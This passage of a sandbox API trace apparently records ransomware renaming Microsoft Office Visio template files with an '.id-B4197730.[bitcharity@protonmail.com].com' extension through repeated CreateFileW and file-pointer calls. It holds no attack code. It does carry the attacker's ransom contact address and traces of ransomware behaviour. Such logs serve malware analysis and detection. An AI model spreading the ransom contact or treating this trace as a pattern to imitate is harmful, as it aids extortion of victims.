dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.478] CloseHandle (hObject=0x1154) returned 1 [0274.479] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.479] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEFUND_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eefund_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.480] CloseHandle (hObject=0x1154) returned 1 [0274.480] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.481] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEFUND_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eefund_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.481] CloseHandle (hObject=0x1154) returned 1 [0275.931] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.932] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEGENR_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eegenr_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.269] CloseHandle (hObject=0x112c) returned 1 [0277.953] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.953] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFFRN_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offfrn_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.953] CloseHandle (hObject=0x11c4) returned 1 [0277.954] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.954] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SMALLMEDIUM_BUSINESS_NETWORK_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\smallmedium_business_network_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.954] CloseHandle (hObject=0x11c4) returned 1 [0277.955] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.955] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SMALLMEDIUM_BUSINESS_NETWORK_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\smallmedium_business_network_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.955] CloseHandle (hObject=0x11c4) returned 1 [0277.956] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.956] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPCPLN_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spcpln_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.956] CloseHandle (hObject=0x11c4) returned 1 [0277.957] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.957] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPCPLN_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spcpln_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.957] CloseHandle (hObject=0x11c4) returned 1 [0277.958] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.958] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPRBR_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sprbr_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.958] CloseHandle (hObject=0x11c4) returned 1 [0277.959] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.959] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPRBR_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sprbr_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.959] CloseHandle (hObject=0x11c4) returned 1 [0277.961] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.961] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPW2_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spw2_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.961] CloseHandle (hObject=0x11c4) returned 1 [0277.962] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.962] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPW2_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spw2_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.962] CloseHandle (hObject=0x11c4) returned 1 [0277.963] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.963] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWA2_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwa2_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.963] CloseHandle (hObject=0x11c4) returned 1 [0277.964] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.964] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWA2_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwa2_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.964] CloseHandle (hObject=0x11c4) returned 1 [0277.966] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.966] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWA_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwa_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.966] CloseHandle (hObject=0x11c4) returned 1 [0277.967] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.967] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWA_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwa_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.967] CloseHandle (hObject=0x11c4) returned 1 [0277.968] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.968] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWC2_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwc2_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.969] CloseHandle (hObject=0x11c4) returned 1 [0277.969] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.970] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWC2_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwc2_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.970] CloseHandle (hObject=0x11c4) returned 1 [0277.971] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.971] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwc_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.971] CloseHandle (hObject=0x11c4) returned 1 [0277.972] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.972] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwc_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.972] CloseHandle (hObject=0x11c4) returned 1 [0277.973] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.973] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWT2_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwt2_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.973] CloseHandle (hObject=0x11c4) returned 1 [0277.974] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.974] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWT2_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwt2_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.974] CloseHandle (hObject=0x11c4) returned 1 [0277.975] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.975] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwt_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.975] CloseHandle (hObject=0x11c4) returned 1 [0277.976] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.976] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPWT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spwt_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.976] CloseHandle (hObject=0x11c4) returned 1 [0277.977] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.977] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPW_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spw_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.977] CloseHandle (hObject=0x11c4) returned 1 [0277.978] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.978] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SPW_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\spw_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.978] CloseHandle (hObject=0x11c4) returned 1 [0277.979] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.979] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SSFLOW_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ssflow_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.979] CloseHandle (hObject=0x11c4) returned 1 [0277.980] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.980] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SSFLOW_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ssflow_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.980] CloseHandle (hObject=0x11c4) returned 1 [0277.981] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.981] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SSHOQ_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sshoq_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.982] CloseHandle (hObject=0x11c4) returned 1 [0277.983] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.983] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SSHOQ_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sshoq_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.983] CloseHandle (hObject=0x11c4) returned 1 [0277.984] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.984] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SUBPROCESSFLOWCHART_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\subprocessflowchart_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.985] CloseHandle (hObject=0x11c4) returned 1 [0278.502] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.502] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 